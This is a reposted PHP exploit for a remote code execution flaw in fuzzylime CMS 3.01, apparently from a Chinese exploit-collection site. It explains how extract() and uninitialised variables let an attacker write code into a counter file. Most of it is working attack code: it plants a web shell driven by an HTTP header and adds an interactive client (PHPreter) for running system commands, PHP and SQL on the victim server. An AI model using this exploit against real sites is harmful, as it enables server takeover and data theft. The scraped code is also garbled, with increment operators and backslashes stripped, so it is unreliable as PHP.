fuzzylime cms 3.01 (commrss.php) Remote Code Execution Exploit
fuzzylime cms 3.01 (commrss.php) Remote Code Execution Exploit
发布时间:2016-12-21 来源:查字典编辑
摘要:

<?php

##

## Name: Fuzzylime 3.01 Remote Code Execution Exploit

## Credits: Charles "real" F. <charlesfol[at]hotmail.fr>

##

## Conditions: None

##

## Greetz: Inphex, hEEGy and austeN

##

## Explanations

## ************

##

## Ok, so today we will go for a walk in the fuzzylime cms maze ...

## Finding vulns was easy, but finding a no condition vuln was quite

## harder ...

##

## First, we look to the code/content.php file:

##

##---[code/content.php]------------------------------------------

## 02| require_once("code/functions.php");

## --| [...]

## 09| $countfile = "code/counter/${s}_$p.inc.php";

## 10| if(file_exists($countfile)) {

## 11| $curcount = loadfile($countfile);

## 12| }

## 13| $curcount ;

## 14| if($handle = @fopen($countfile, 'w')) { // Open the file for saving

## 15| fputs($handle, $curcount);

## 16| fclose($handle);

## 17| }

##----------------------------------------------------------------

##

## $s, $p, $curcount vars are not initialized, so we can set it if

## register_globals=On.

##

## POC: http://[url]/code/content.php?s=owned&p=owned&curcount=[PHP_SCRIPT]

##

## Note: [C:]# php -r "$var='abc'; $var ; print $var;"

## abd

## So the just increment the last string letter position in the alphabet

## a->b, b->c, etc.

##

## Ok, we got remote code exec ... but wait a minute ... no ! require_once()

## requires a file in the code folder, but we are already in this folder ...

## PHP will die (Fatal Error) and our evil code won't be executed.

## And we wanted a no condition exploit, but this vuln needs register_globals

## to be On ...

##

## hum... let's look at other pages: we can find that extract() function is

## pretty often used, and it can simulate register_globals ...

## Now we are looking for a file which uses extract() and which can include

## code/content.php file, and which is in the root path.

##

## And we finally found commsrss.php, which contains:

##

##---[commsrss.php]-----------------------------------------------

## 17| extract($HTTP_POST_VARS);

## 18| extract($_POST);

## 19| extract($HTTP_GET_VARS);

## 20| extract($_GET);

## 21| extract($HTTP_COOKIE_VARS);

## 22| extract($_COOKIE);

## --| [...]

## 64| $dir = "blogs/comments/";

## 65| if($dlist = opendir($dir)) {

## 66| while (($file = readdir($dlist)) !== false) {

## 67| if(strstr($file, $p)) {

## 68| $files[] = $file;

## 69| }

## 70| }

## 71| closedir($dlist);

## 72| }

## 73| for($i = 0; $i < count($files); $i ) {

## 74| include "blogs/comments/$files[$i]";

## --| [...]

## 89| }

##----------------------------------------------------------------

##

## w00t ! $files array is not initialized ... we can include every

## file we want.

##

## Using chr() we can bypass magic_quotes_gpc=Off [ see chrit() ]

##

## Our problems are solved, we have a Remote Code Execution without

## conditions.

##

## Proof of Concept

## ****************

##

## [C:]# php exploit.php http://www.target.com/

## [target][cmd]# ls

## blogs_.inc.php

## content_index.inc.php

## content_index.php.inc.php

## content_test.inc.php

## front_index.inc.php

## front_test.inc.php

## index.htm

## index.php_index.inc.php

##

## [target][cmd]# exit

##

## [C:]#

$url = $argv[1];

$php_code = '<?php'

. 'error_reporting(0);'

. 'print ' . chrit('-:-:-') . ';'.

. 'eval(stripslashes($_SERVER[HTTP_SHELL]));'

. 'print ' . chrit('-:-:-') . ';'.

. '?>';

$php_code--; // 13| $curcount ;

$c0de = $url . 'commsrss.php?s=blogs&m=&usecache=0&files[0]=../../code/content.php'

. '&curcount=' . urlencode($php_code);

$shell = $url . 'code/counter/blogs_.inc.php';

# Be careful: we can create a valid shell only ONCE.

# So check if it does not already exist before doing

# anything else.

if(status_404($shell)==true)

get($c0de);

$phpR = new phpreter($shell, '-:-:-(.*)-:-:-', 'cmd', array(), false);

function chrit($str)

{

$r = '';

for($i=0;$i<strlen($str);$i )

{

$z = substr($str, $i, 1);

$r .= '.chr('.ord($z).')';

}

return substr($r, 1);

}

function get($url)

{

$infos = parse_url($url);

$host = $infos['host'];

$port = isset($infos['port']) ? $infos['port'] : 80;

$fp = fsockopen($host, $port, &$errno, &$errstr, 30);

$req = "GET $url HTTP/1.1rn";

$req .= "Host: $hostrn";

$req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14rn";

$req .= "Connection: closernrn";

fputs($fp,$req);

fclose($fp);

}

function status_404($url)

{

$infos = parse_url($url);

$host = $infos['host'];

$port = isset($infos['port']) ? $infos['port'] : 80;

$fp = fsockopen($host, $port, &$errno, &$errstr, 30);

$req = "GET $url HTTP/1.1rn";

$req .= "Host: $hostrn";

$req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14rn";

$req .= "Connection: closernrn";

fputs($fp, $req);

$res = '';

while(!feof($fp) && !preg_match('#404#', $res))

$res .= fgets($fp, 1337);

fclose($fp);

if(preg_match('#404#', $res))

return true;

return false;

}

/*

* Copyright (c) real

*

* This program is free software; you can redistribute it and/or

* modify it under the terms of the GNU General Public License

* as published by the Free Software Foundation; either version 2

* of the License, or (at your option) any later version.

*

* This program is distributed in the hope that it will be useful,

* but WITHOUT ANY WARRANTY; without even the implied warranty of

* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the

* GNU General Public License for more details.

*

* You should have received a copy of the GNU General Public License

* along with this program; if not, write to the Free Software

* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.

*

* TITLE: PHPreter

* AUTHOR: Charles "real" F. <charlesfol[at]hotmail.fr>

* VERSION: 1.0

* LICENSE: GNU General Public License

*

* This is a really simple class with permits to exec SQL, PHP or CMD

* on a remote host using the HTTP "Shell" header.

*

*

* Sample code:

* [host][sql]# mode=cmd

* [host][cmd]# id

* uid=2176(u47170584) gid=600(ftpusers)

*

* [host][cmd]# mode=php

* [host][php]# echo phpversion();

* 4.4.8

* [host][php]# mode=sql

* [host][sql]# SELECT version(), user()

* --------------------------------------------------

* version() | 5.0.51a-log

* user() | dbo225004932@74.208.16.148

* --------------------------------------------------

*

* [host][sql]#

*

*/

class phpreter

{

var $url;

var $host;

var $port;

var $page;

var $mode;

var $ssql;

var $prompt;

var $phost;

var $regex;

var $data;

/**

* __construct()

*

* @param url The url of the remote shell.

* @param regexp The regex to catch cmd result.

* @param mode Mode: php, sql or cmd.

* @param sql An array with the file to include,

* and sql vars

* @param clear Determines if clear() is called

* on startup

*/

function __construct($url, $regexp='^(.*)$', $mode='cmd', $sql=array(), $clear=true)

{

$this->url = $url;

$this->regex = '#'.$regexp.'#is';

#

# Set data

#

$infos = parse_url($this->url);

$this->host = $infos['host'];

$this->port = isset($infos['port']) ? $infos['port'] : 80;

$this->page = $infos['path'];

unset($infos);

# www.(site).com

$host_tmp = explode('.',$this->host);

$this->phost = $host_tmp[ count($host_tmp)-2 ];

unset($host_tmp);

#

# Set up MySQL connection string

#

if(!sizeof($sql))

$this->ssql = '';

elseif(sizeof($sql)==5)

{

$this->ssql = "include('$sql[0]');"

. "mysql_connect($sql[1], $sql[2], $sql[3]);"

. "mysql_select_db($sql[4]);";

}

else

{

$this->ssql = ""

. "mysql_connect('$sql[0]', '$sql[1]', '$sql[2]');"

. "mysql_select_db('$sql[3]');";

}

$this->setmode($mode);

#

# Main Loop

#

if($clear) $this->clear();

print $this->prompt;

while( !preg_match('#^(quit|exit|close)$#i', ($cmd = trim(fgets(STDIN)))) )

{

# change mode

if(preg_match('#^(set )?mode(=| )(sql|cmd|php)$#i',$cmd,$array))

$this->setmode($array[3]);

# clear data

elseif(preg_match('#^clear$#i',$cmd))

$this->clear();

# else

else print $this->exec($cmd);

print $this->prompt;

}

}

/**

* clear()

* Just clears ouput, printing 'n'x50

*/

function clear()

{

print str_repeat("n", 50);

return 0;

}

/**

* setmode()

* Set mode (PHP, CMD, SQL)

* You don't have to call it.

* use mode=[php|cmd|sql] instead,

* in the prompt.

*/

function setmode($newmode)

{

$this->mode = strtolower($newmode);

$this->prompt = '['.$this->phost.']['.$this->mode.']# ';

switch($this->mode)

{

case 'cmd':

$this->data = 'system('<CMD>');';

break;

case 'php':

$this->data = '';

break;

case 'sql':

$this->data = $this->ssql

. '$q = mysql_query('<CMD>') or print(str_repeat("-",50)."n".mysql_error()."n");'

. 'print str_repeat("-",50)."n";'

. 'while($r=mysql_fetch_array($q,MYSQL_ASSOC))'

. '{'

. 'foreach($r as $k=>$v) print " ".$k.str_repeat(" ", (20-strlen($k)))."| $vn";'

. 'print str_repeat("-",50)."n";'

. '}';

break;

}

return $this->mode;

}

/**

* exec()

* Execute any query and catch the result.

* You don't have to call it.

*/

function exec($cmd)

{

if(!strlen($this->data)) $shell = $cmd;

else $shell = str_replace('<CMD>', addslashes($cmd), $this->data);

$fp = fsockopen($this->host, $this->port, &$errno, &$errstr, 30);

$req = "GET " . $this->page . " HTTP/1.1rn";

$req .= "Host: " . $this->host . ( $this->port!=80 ? ':'.$this->port : '' ) . "rn";

$req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14rn";

$req .= "Shell: $shellrn";

$req .= "Connection: closernrn";

unset($shell);

fputs($fp, $req);

$content = '';

while(!feof($fp)) $content .= fgets($fp, 128);

fclose($fp);

# Remove headers

$data = explode("rnrn", $content);

$headers = array_shift($data);

$content = implode("rnrn", $data);

if(preg_match("#Transfer-Encoding:.*chunked#i", $headers))

$content = $this->unchunk($content);

preg_match($this->regex, $content, $data);

if($data[1][ strlen($data)-1 ] != "n") $data[1] .= "n";

return $data[1];

}

/**

* unchunk()

* This function aims to remove chunked content sizes which

* are putted by apache server when it uses chunked

* transfert-encoding.

*/

function unchunk($data)

{

$dsize = 1;

$offset = 0;

while($dsize>0)

{

$hsize_size = strpos($data, "rn", $offset) - $offset;

$dsize = hexdec(substr($data, $offset, $hsize_size));

# Remove $hsizern from $data

$data = substr($data, 0, $offset) . substr($data, ($offset $hsize_size 2) );

$offset = $dsize;

# Remove the rn before the next $hsize

$data = substr($data, 0, $offset) . substr($data, ($offset 2) );

}

return $data;

}

}

?>

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新Exploit学习
热门Exploit学习
网络安全子分类